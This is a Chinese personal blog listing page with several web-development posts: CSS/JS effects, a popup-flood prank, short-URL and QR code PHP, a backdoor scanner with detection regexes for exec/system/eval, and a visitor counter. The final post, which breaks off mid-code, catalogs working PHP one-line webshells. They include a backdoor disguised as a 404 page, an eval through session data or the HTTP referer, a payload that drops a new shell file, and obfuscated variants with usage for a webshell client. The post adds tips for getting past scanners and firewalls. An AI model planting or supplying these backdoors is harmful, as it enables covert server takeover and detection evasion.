首页
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
更多
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
Search
1
全网首发-小米AX6000路由器解锁ssh并固化ssh+2.5G有线mesh组网+公网访问路由后台+红米AX6/小米AX6/AX3600/AX6000/AX9000全系列适用
6,822 阅读
2
青龙面板必装依赖及青龙各种问题解决
3,933 阅读
3
NAS一键批量清除重复文件
3,543 阅读
4
群辉DSM7.0.1安装bootstrap后解决wget: error while loading shared libraries: libgnuintl.so.8: cannot open shared object file: No such file or directory
1,605 阅读
5
《爱情公寓4》全集高清迅雷下载
902 阅读
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
登录
Search
标签搜索
wordpress
News
iphone
vb
iOS
technology
渗透
QQ
php
talk
JavaScript
hack
Typecho
NAS
福利
c++
diy
c
免杀
评测
Jonty
累计撰写
275
篇文章
累计收到
980
条评论
今日撰写
0
篇文章
首页
栏目
闲言碎语
学习
福利
技术百科
WordPress
Typecho
软件资源
iPhone
Android
PC软件
CODE
C
VB
PHP
NAS
青龙
页面
闲言碎语
个人导航
文章归档
友情链接
留言簿
关于
网络电视
云盘
统计
推荐
付费资源
朋友圈集赞
二维码生成
音乐下载
用户登录
登录
搜索到
10
篇与
的结果
2016-09-30
《前方高能》教程来了。。
一、首先:在style.css添加如下代码:/*high起来*/ .btn-link{border-radius:0;color:#428BCA;cursor:pointer;font-weight:normal;}.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:rgba(0,0,0,0);box-shadow:none;}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:rgba(0,0,0,0);}.btn-link:hover,.btn-link:focus{background-color:rgba(0,0,0,0);color:#2A6496;text-decoration:none;}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none;}}二、把下面代码保存到hi.css放到主题目录css下(如果没有自己建一个目录).mw-strobe_light{position:fixed;width:100%;height:100%;top:0;left:0;z-index:100000;background-color:rgba(250,250,250,0.8);display:block;}.mw-harlem_shake_me{transition:all 0.8s ease-in-out;-moz-transition:all 0.8s ease-in-out;-webkit-transition:all 0.8s ease-in-out;-o-transition:all 0.8s ease-in-out;-ms-transition:all 0.8s ease-in-out;animation:spin 1s infinite linear;-moz-animation:spin 1s infinite linear;-webkit-animation:spin 1s infinite linear;-o-animation:spin 1s infinite linear;-ms-animation:spin 1s infinite linear;}.mw-harlem_shake_slow{transition:all 3.2s ease-in-out;-moz-transition:all 3.2s ease-in-out;-webkit-transition:all 3.2s ease-in-out;-o-transition:all 3.2s ease-in-out;-ms-transition:all 3.2s ease-in-out;animation:spin 4s infinite linear;-moz-animation:spin 4s infinite linear;-webkit-animation:spin 4s infinite linear;-o-animation:spin 4s infinite linear;-ms-animation:spin 4s infinite linear;}body{-webkit-backface-visibility:hidden;}.mw-harlem_shake_me{-webkit-animation-duration:.4s;-moz-animation-duration:.4s;-o-animation-duration:.4s;animation-duration:.4s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;}.mw-harlem_shake_slow{-webkit-animation-duration:1.6s;-moz-animation-duration:1.6s;-o-animation-duration:1.6s;animation-duration:1.6s;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;}.flash,.mw-strobe_light{-webkit-animation-name:flash;-moz-animation-name:flash;-o-animation-name:flash;animation-name:flash;}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);}20%,40%,60%,80%{-webkit-transform:translateX(10px);}}@-moz-keyframes shake{0%,100%{-moz-transform:translateX(0);}10%,30%,50%,70%,90%{-moz-transform:translateX(-10px);}20%,40%,60%,80%{-moz-transform:translateX(10px);}}@-o-keyframes shake{0%,100%{-o-transform:translateX(0);}10%,30%,50%,70%,90%{-o-transform:translateX(-10px);}20%,40%,60%,80%{-o-transform:translateX(10px);}}@keyframes shake{0%,100%{transform:translateX(0);}10%,30%,50%,70%,90%{transform:translateX(-10px);}20%,40%,60%,80%{transform:translateX(10px);}}.shake,.im_baked{-webkit-animation-name:shake;-moz-animation-name:shake;-o-animation-name:shake;animation-name:shake;}.swing,.im_drunk{-webkit-transform-origin:top center;-moz-transform-origin:top center;-o-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;-moz-animation-name:swing;-o-animation-name:swing;animation-name:swing;}@-webkit-keyframes wobble{0%{-webkit-transform:translateX(0%);}15%{-webkit-transform:translateX(-15%) rotate(-4deg);}30%{-webkit-transform:translateX(12%) rotate(3deg);}45%{-webkit-transform:translateX(-9%) rotate(-2deg);}60%{-webkit-transform:translateX(6%) rotate(2deg);}75%{-webkit-transform:translateX(-3%) rotate(-1deg);}100%{-webkit-transform:translateX(0%);}}@-moz-keyframes wobble{0%{-moz-transform:translateX(0%);}15%{-moz-transform:translateX(-15%) rotate(-5deg);}30%{-moz-transform:translateX(12%) rotate(3deg);}45%{-moz-transform:translateX(-9%) rotate(-3deg);}60%{-moz-transform:translateX(6%) rotate(2deg);}75%{-moz-transform:translateX(-3%) rotate(-1deg);}100%{-moz-transform:translateX(0%);}}@-o-keyframes wobble{0%{-o-transform:translateX(0%);}15%{-o-transform:translateX(-15%) rotate(-5deg);}30%{-o-transform:translateX(12%) rotate(3deg);}45%{-o-transform:translateX(-9%) rotate(-3deg);}60%{-o-transform:translateX(6%) rotate(2deg);}75%{-o-transform:translateX(-3%) rotate(-1deg);}100%{-o-transform:translateX(0%);}}@keyframes wobble{0%{transform:translateX(0%);}` 15%{transform:translateX(-15%) rotate(-5deg);}30%{transform:translateX(12%) rotate(3deg);}45%{transform:translateX(-9%) rotate(-3deg);}60%{transform:translateX(6%) rotate(2deg);}75%{transform:translateX(-3%) rotate(-1deg);}100%{transform:translateX(0%);}}.wobble,.im_first{-webkit-animation-name:wobble;-moz-animation-name:wobble;-o-animation-name:wobble;animation-name:wobble;}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);}50%{-webkit-transform:scale(1.1);}100%{-webkit-transform:scale(1);}}@-moz-keyframes pulse{0%{-moz-transform:scale(1);}50%{-moz-transform:scale(1.1);}100%{-moz-transform:scale(1);}}@-o-keyframes pulse{0%{-o-transform:scale(1);}50%{-o-transform:scale(1.1);}100%{-o-transform:scale(1);}}@keyframes pulse{0%{transform:scale(1);}50%{transform:scale(1.1);}100%{transform:scale(1);}}.pulse,.im_blown{-webkit-animation-name:pulse;-moz-animation-name:pulse;-o-animation-name:pulse;animation-name:pulse;}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.3);}50%{opacity:1;-webkit-transform:scale(1.05);}70%{-webkit-transform:scale(.9);}100%{-webkit-transform:scale(1);}}@-moz-keyframes bounceIn{0%{opacity:0;-moz-transform:scale(.3);}50%{opacity:1;-moz-transform:scale(1.05);}70%{-moz-transform:scale(.9);}100%{-moz-transform:scale(1);}}@-o-keyframes bounceIn{0%{opacity:0;-o-transform:scale(.3);}50%{opacity:1;-o-transform:scale(1.05);}70%{-o-transform:scale(.9);}100%{-o-transform:scale(1);}}@keyframes bounceIn{0%{opacity:0;transform:scale(.3);}50%{opacity:1;transform:scale(1.05);}70%{transform:scale(.9);}100%{transform:scale(1);}}.bounceIn,.im_trippin{-webkit-animation-name:bounceIn;-moz-animation-name:bounceIn;-o-animation-name:bounceIn;animation-name:bounceIn;}三、把下面代码复制到js/hi.js(如果没有目录自己建一个|注意代码中mp3和css路径)function hig() { (function() { function c() { var e = document.createElement("link"); e.setAttribute("type", "text/css"); e.setAttribute("rel", "stylesheet"); e.setAttribute("href", f); e.setAttribute("class", l); document.body.appendChild(e) } function h() { var e = document.getElementsByClassName(l); for (var t = 0; t < e.length; t++) { document.body.removeChild(e[t]) } } function p() { var e = document.createElement("div"); e.setAttribute("class", a); document.body.appendChild(e); setTimeout(function() { document.body.removeChild(e) }, 100) } function d(e) { return { height: e.offsetHeight, width: e.offsetWidth } } function v(i) { var s = d(i); return s.height > e && s.height < n && s.width > t && s.width < r } function m(e) { var t = e; var n = 0; while ( !! t) { n += t.offsetTop; t = t.offsetParent } return n } function g() { var e = document.documentElement; if ( !! window.innerWidth) { return window.innerHeight } else if (e && !isNaN(e.clientHeight)) { return e.clientHeight } return 0 } function y() { if (window.pageYOffset) { return window.pageYOffset } return Math.max(document.documentElement.scrollTop, document.body.scrollTop) } function E(e) { var t = m(e); return t >= w && t <= b + w } function S() { var e = document.createElement("audio"); e.setAttribute("class", l); e.src = i; e.loop = false; e.addEventListener("canplay", function() { setTimeout(function() { x(k) }, 500); setTimeout(function() { N(); p(); for (var e = 0; e < O.length; e++) { T(O[e]) } }, 15500) }, true); e.addEventListener("ended", function() { N(); h() }, true); e.innerHTML = " <p>If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.</p> <p>"; document.body.appendChild(e); e.play() } function x(e) { e.className += " " + s + " " + o } function T(e) { e.className += " " + s + " " + u[Math.floor(Math.random() * u.length)] } function N() { var e = document.getElementsByClassName(s); var t = new RegExp("\\b" + s + "\\b"); for (var n = 0; n < e.length;) { e[n].className = e[n].className.replace(t, "") } } var e = 1; var t = 1; var n = 1100; var r = 1100; var i = "http://7j1wr2.com1.z0.glb.clouddn.com/high.mp3"; var s = "mw-harlem_shake_me"; var o = "im_first"; var u = ["im_drunk", "im_baked", "im_trippin", "im_blown"]; var a = "mw-strobe_light"; var f = "https://nobb.cc/wp-content/themes/BYMT/css/hi.css"; var l = "mw_added_css"; var b = g(); var w = y(); var C = document.getElementsByTagName("*"); var k = null; for (var L = 0; L < C.length; L++) { var A = C[L]; if (v(A)) { if (E(A)) { k = A; break } } } if (A === null) { console.warn("Could not find a node of the right size. Please try a different page."); return } c(); S(); var O = []; for (var L = 0; L < C.length; L++) { var A = C[L]; if (v(A)) { O.push(A) } } })() }四、把下面代码加在主题footer.php里<script src="<?php bloginfo('template_url'); ?>/js/hi.js"></script>五、主页加个按钮调用他<button type="button" class="btn btn-link" onclick="hig();">前方高能</button>至此完成了~文件打包下载:链接: http://pan.baidu.com/s/1i5HMdN3 密码: 鸡8
2016年09月30日
128 阅读
0 评论
0 点赞
2014-01-17
无限弹窗
首先呢,是必不可少的css样式:.tc_div{background: #fff;border: 1px solid #cdcdcd;width: 200px;border-radius: 5px;box-shadow: 0px 2px 10px #CECACA;position: absolute;} .tc_div h3{background: #E4E4E4;font:bold 15px Arial,Microsoft Yahei;padding: 4px 8px;margin: 0;border-bottom: 1px solid #cdcdcd;border-radius: 5px 5px 0 0;} .tc_div h3 b{float: right;cursor: pointer;} .tc_div p{padding: 6px 8px;}接着是超文本标记语言HTML代码:我是无良弹窗君 ( *・ω・)✄ <a id="tc_click" style="text-decoration: underline;" href="###"> 敢戳我?分分钟弹死你!</a>最后,最重要的javascript代码来了:<script>// <![CDATA[ /* div弹出层 */ $(document).ready(function() { function doing(Min, Max, Time, Pl, Pt) { /* Min 最少弹出数 Max 最大弹出数 Time 延迟时间 Pl 距离左侧最大百分比 Pt 距离顶部最大百分比 */ if (isNaN(Min) || isNaN(Max) || isNaN(Time) || isNaN(Pl) || isNaN(Pt)) return false; /* 判断输入的是否是数字 */ run = setInterval(function() { if ((Min > Max - 1) && (Max != 0)) clearInterval(run); /* 如果超过最大弹出数则停止 Max为0则无限弹出 */ pl = parseInt(Math.random() * Pl + 1); /* 随机 1~Pl */ pt = parseInt(Math.random() * Pt + 1); /* 随机 1~Pt */ tc_div = ' <div id="tc_div_' + Min + '" class="tc_div"> <h3>小弹窗 No.' + Min + ' <b class="close">×</b></h3> 我是第' + Min + '个小弹窗 </div> '; $(".tc_main").append(tc_div); $("#tc_div_" + Min).css({left: pl + "%",top: pt + "%", "z-index": "100"}); Min++; /* 自增 */ }, Time); } /* 浏览器弹窗 */ function RunAlert() { var i, o, x, z = 10; /* z 弹出次数 */ if (confirm("(●′ω`●) 分分钟弹死你,你信不信?")) { /* 信则弹10*10*10次 不信再说 */ for (i = 1; i <= z; i++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹"); for (o = 1; o <= z; o++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹 \n(。・`ω´・) 骚气第" + o + "弹"); for (x = 1; x <= z; x++) { alert("(= ̄ω ̄=) 霸气第" + i + "弹 \n(。・`ω´・) 骚气第" + o + "弹 \n( ̄へ ̄) 合体第" + x + "弹"); } } } } else { alert("╮( ̄⊿ ̄\")╭ 切,量你也没这个胆子!"); if (confirm("(ง •̀ω•́)ง 试试新玩法?")) { /* 询问是否换个花样 */ $(".tc_main").empty(); doing(1, 0, 100, 85, 88); /* 每100毫秒弹一次 弹到屎 */ } else { alert("(′◔◞౪◟◔) 原来是个胆小鬼!一边玩去!"); return false; } } } $("#tc_click").click(function() { /* 敢点就敢弹 */ RunAlert(); }); $(".tc_main").click(function(e) { var id = e.target.offsetParent.id; $("#" + id).css("z-index", "+=1"); /* 堆叠层数+1 */ if (e.target.className == "close") { $("#" + id).remove(); /* 如果手速快 每个弹窗都可以关掉 */ } }) }) // ]]></script>
2014年01月17日
103 阅读
0 评论
0 点赞
2014-01-01
分享两个短链算法
1、Hash,与运算,映射,位移MD5来Hash;32位分成四份进行与运算,每份保留30位,这30位分成6段, 每5个一组,算出其整数值,然后映射到准备的62个字符中, 依次进行获得一个6位的短链接地址。<?php function shorturl($longurl) { //hash私钥(被改进部分) //$shorturlkey = '2rcwzfsefw'; //生成随机字串符(ASCII)(改进部分) //$shorturlkey = ''; //for ($i=0; $i <= 15; $i++) { // $shorturlkey .= chr(mt_rand(33,63)); // $shorturlkey .= chr(mt_rand(64,126)); //} //映射字符(被改进部分) $base62 = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'); //对映射字符乱序(改进部分) //shuffle($base62); // 利用md5算法方式生成hash值 //$urlhex = hash('md5', $shorturlkey.$longurl); $urlhex = md5($shorturlkey.$longurl); //计算hash后的长度 $urlhexlen = strlen($urlhex); //长度除以8 $subHexLen = $urlhexlen / 8 ; $output = array(); //处理过程 for ($i = 0; $i < $subHexLen; $i++) { // 将这32位分成四份,每一份8个字符,将其视作16进制串与0x3fffffff(30位1)与操作 $subHex = substr($urlhex, $i*8, 8); $idx = 0x3FFFFFFF & (1 * ('0x' . $subHex)); $out = ''; // 这30位分成6段, 每5个一组,算出其整数值,然后映射到62个字符 for ($j = 0; $j < 6; $j++) { $val = 0x0000003D & $idx; $out .= $base62[$val]; $idx = $idx >> 5; } $output[$i] = $out; } //输出生成的四个当中的随机一个(改进部分) //return $output[mt_rand(0,3)]; //(被改进部分) return $output; } ?>不足经过实际测试(每次生成5K),原始代码重复率很大,一开始可能只有0.000x%,到后来可能上升到0x%。。。改进对映射的字符进行随机排位,最后输出的时候只随机输出4个当中的一个,碰撞几率同下2、纯随机 <?php function shorturl_rand(){ //循环随机,如果要修改位数,直接修改循环条件中的$i小于(n-1)即可 for ($i=0,$b=''; $i <5 ; $i++) { //随机当前位为数字还是小写字母以及大写字母 $a = mt_rand(0,2); //选择器 switch ($a) { case 0: //随机数字 $b .= chr(mt_rand(48,57)); break; case 1: //随机小写字母 $b .= chr(mt_rand(97,122)); break; case 2: //随机大写字母 $b .= chr(mt_rand(65,90)); break; break; default: break; } } return $b ; } ?>纯随机,碰撞几率最低,性能消耗可能是同类中最低。
2014年01月01日
97 阅读
1 评论
0 点赞
2013-11-20
使用 Google API 生成二维码
Google API 可以非常方便的调用,下边的链接是一个示例:[btnheart href="http://chart.apis.google.com/chart?cht=qr&chs=150x150&chld=L|2&chl=https://nobb.cc" target="_blank"]我是示例[/btnheart]参数解释:1、http://chart.apis.google.com/chart? 调用Google API2、cht=qr 选择生成类型为 qr 码。3、chs=150×150 设置二维码图片大小。4、chld=L|4 L表示默认纠错水平;4表示二维码图片的留白大小,留白的大小也是计算在二维码图片大小内的,可选值为 1~4 的整数。5、chl=https://nobb.cc为二维码内容。一般 WordPress 文章页可以使用下边的代码调用二维码,具体自己调节参数。<img src="http://chart.apis.google.com/chart?cht=qr&chs=150x150&chld=L|2&chl=<?php the_permalink(); ?>" class="qrcode pic" width="150" height="150" alt="qrcode" />由于 Google 服务器对国内不太稳定,所以我们可以把二维码图片缓存到本地来解决这一缺陷。首先将下边的代码扔到当前主题的 functions.php 的最后一个 ?> 前。/* *Bing - function - 二维码配置 *Form:www.bgbk.org */ //二维码缓存 function Bing_qr($url,$path,$qrpic){ set_time_limit (10); $destination_folder = $path?$path.'/':''; $localname = $destination_folder .$qrpic; $file = fopen ($url, "rb"); if($file){ $newf = fopen ($localname, "wb"); if($newf) while(!feof($file)){ fwrite( $newf, fread($file, 1024 * 2 ), 1024 * 2 ); } } if($file){ fclose($file); } if($newf){ fclose($newf); } } //生成二维码地址 function Bing_echo_qr($imgsize = 150,$echo = true){ $cache = false; $cache = true; if(is_single() || is_page()) $imgname = get_the_id(); elseif (is_home() || is_front_page()) $imgname = 'home'; elseif(is_category()) $imgname = 'cat-'.get_query_var('cat'); elseif(is_tag()) $imgname = 'tag-'.get_query_var('tag_id'); if(!is_home()) $permalink = get_permalink(); else $permalink = get_option('home'); if($cache){ $localqr = ABSPATH .'qrcode/'.$imgname.'.jpg'; if(!file_exists($localqr)){ Bing_qr("http://chart.googleapis.com/chart?cht=qr&chs=".$imgsize."x".$imgsize."&choe=UTF-8&chld=L|0&chl=".$permalink ,"qrcode", $imgname.".jpg"); } $main = get_home_url('').'/qrcode/'.$imgname.'.jpg'; } else $main = "http://chart.googleapis.com/chart?cht=qr&chs=".$imgsize."x".$imgsize."&choe=UTF-8&chld=L|0&chl=".$permalink; if($echo) echo $main; else return $main; } //输出二维码 function Bing_echo_qrcode($imgsize = 150){ echo '<img src="'.Bing_echo_qr($imgsize,false).'" class="qrcode" width="'.$imgsize.'" height="'.$imgsize.'" alt="qrcode" />'; }然后在需要调用二维码的地方使用下边的函数就行了:<?php if(function_exists('Bing_echo_qrcode')&&function_exists('Bing_echo_qr')&&function_exists('Bing_qr')) Bing_echo_qrcode(150);?>其中的 150 为二维码大小,可以自己修改。如果想关闭二维码缓存只需要将第一段代码的 30 行 $cache = true; 注释掉即可。
2013年11月20日
75 阅读
0 评论
0 点赞
2013-11-09
完美扫描PHP特殊一句话后门-【扫描脚本】
代码如下 保存为*.php<?php error_reporting(E_ERROR); ini_set('max_execution_time',20000); ini_set('memory_limit','512M'); header("content-Type: text/html; charset=gb2312"); $matches = array( '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i', '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i', '/((udp|tcp)\:\/\/(.*)\;)+/i', '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i', '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i', '/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i', '/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i', '/eval\s*\(\s*\(\s*\$\$(\w+)/i', '/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i', '/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i', '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i', '/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i', '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i', '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i', '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i', '/\$\_\=(.*)\$\_/i', '/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i', '/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i', '/\$(\w+)\s*\(\s*\$\{(.*)\}/i', '/\$(\w+)\s*\(\s*chr\(\d+\)/i' ); function antivirus($dir,$exs,$matches) { if(($handle = @opendir($dir)) == NULL) return false; while(false !== ($name = readdir($handle))) { if($name == '.' || $name == '..') continue; $path = $dir.$name; if(is_dir($path)) { //chmod($path,0777);/*主要针对一些0111的目录*/ if(is_readable($path)) antivirus($path.'/',$exs,$matches); } elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) { echo '特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'<div></div>'; flush(); ob_flush(); } else { if(!preg_match($exs,$name)) continue; if(filesize($path) > 10000000) continue; $fp = fopen($path,'r'); $code = fread($fp,filesize($path)); fclose($fp); if(empty($code)) continue; foreach($matches as $matche) { $array = array(); preg_match($matche,$code,$array); if(!$array) continue; if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue; $len = strlen($array[0]); if($len > 6 && $len < 200) { echo '特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'<div></div>'; flush(); ob_flush(); break; } } unset($code,$array); } } closedir($handle); return true; } function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); } echo '<form method="POST">'; echo '路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"><div></div>'; echo '后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"><div></div>'; echo '操作: <input type="submit" style="width:80px;" value="scan"><div></div>'; echo '</form>'; if(file_exists($_POST['dir']) && $_POST['exs']) { $dir = strdir($_POST['dir'].'/'); $exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i'; echo antivirus($dir,$exs,$matches) ? '<div></div>扫描完毕' : '<div></div>扫描中断'; } ?>
2013年11月09日
88 阅读
3 评论
0 点赞
2013-09-27
wordpress当前在线人数统计
1、将以下代码加入主题的 functions.php 文件内默认情况下文本小工具是不能运行PHP代码的。//实现侧边栏文本工具运行PHP代码 add_filter('widget_text', 'php_text', 99); function php_text($text) { if (strpos($text, '<' . '?') !== false) { ob_start(); eval('?' . '>' . $text); $text = ob_get_contents(); ob_end_clean(); } return $text; }2、将以下代码放置在文本小工具内,当然也可以放置在诸如 footer.php文件内<?php //首先你要有读写文件的权限,首次访问肯不显示,正常情况刷新即可 $online_log = "maplers.dat"; //保存人数的文件到根目录, $timeout = 120;//120秒内没动作,认为掉线 $entries = file($online_log); $temp = array(); for ($i=0;$i<count($entries);$i++){ $entry = explode(",",trim($entries[$i])); if(($entry[0] != getenv('REMOTE_ADDR')) && ($entry[1] > time())) { array_push($temp,$entry[0].",".$entry[1]."\n"); //取出其他浏览者的信息,并去掉超时者,保存进$temp }} array_push($temp,getenv('REMOTE_ADDR').",".(time() + ($timeout))."\n"); //更新浏览者的时间 $maplers = count($temp); //计算在线人数 $entries = implode("",$temp); //写入文件 $fp = fopen($online_log,"w"); flock($fp,LOCK_EX); //flock() 不能在NFS以及其他的一些网络文件系统中正常工作 fputs($fp,$entries); flock($fp,LOCK_UN); fclose($fp); echo "在线人数:".$maplers."人"; ?>
2013年09月27日
72 阅读
0 评论
0 点赞
2013-08-28
jQuery树叶掉落特效代码
代码使用方法1.将index.html源文件中的JS设置代码插入到你的网页中2.将style.css文件内容合并到你的页面样式表中3.将jquery文件加载到你的页面中,请注意,这不是通用的jquer库注意事项本代码目前仅支持HTML5内核的浏览器,测试时请用IE9-10,Chrome,Safari,Firefox等浏览器。请为页面顶部预留130px的高度以确保页面内容不会完全被树叶遮挡。建议再浏览器中,加上浏览器判断,并提示用户使用HTML5内核的浏览器树叶数量增加事件设置id=”botAgregar”的click事件可以增加树叶的数量,demo中的click设置在body标签中,点击页面的任何区域都会使叶子的数量增加。大家可以根据需要,将id=”botAgregar”设置到需要的标签上{anote icon="fa-download" href="http://pan.baidu.com/share/link?shareid=3827462127&uk=1728498014" type="success" content="下载地址"/}
2013年08月28日
92 阅读
0 评论
0 点赞
2013-08-26
百度网盘文件直链获取方法
以下是代码:把下面的代码保存为一个php文件,名字随便,可以是download.php,之类的,上传到主机上。<?php $uk = '3239637208';//把uk码改成你自己的 $url = 'http://pan.baidu.com/share/link?shareid=' . $_GET['shareid'] . '&uk='. $uk; $src = file_get_contents($url);//获取下载页面源码 $pattern = '/"dlink\\\":\\\"(.*?)\\\"/is';//匹配下载按钮 preg_match_all($pattern, $src, $result); $fileurl = str_replace("\\", "", $result[1][0]);//各种替换 header("location:$fileurl"); ?>使用方法 上传文件,分享文件,得到分享链接:http://pan.baidu.com/share/link?shareid=442143&uk=3239637208用uk码替换掉代码第一行的3239637208,,然后用shareid替换http://PHP文件地址.com/download.php?shareid=xxxxxx里面的xxxxxx,最后得到的地址就是百度网盘文件的直链啦~ 例如我的就是https://nobb.cc/download.php?shareid=779462854
2013年08月26日
161 阅读
4 评论
0 点赞
2013-08-02
那些强悍的PHP一句话后门
强悍的PHP一句话后门这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。利用404页面隐藏PHP小马:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" ); header( 'HTTP/1.1 404 Not Found' ); ?>404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。无特征隐藏PHP一句话:<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。超级隐蔽的PHP后门:<?php $_GET[a]($_GET[b]);?>仅用GET函数就构成了木马;利用方法:?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。层级请求,编码运行PHP后门:此方法用两个文件实现,文件1<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }文件2<?php //2.php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode($code); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。PHP后门生成工具weevelyweevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。三个变形的一句话PHP木马第一个<?php ($_=@$_GET[2]).@$_($_POST[1])?>在菜刀里写http://site/1.php?2=assert密码是1第二个<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。第三个( $b4dboy = $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' , 'add' 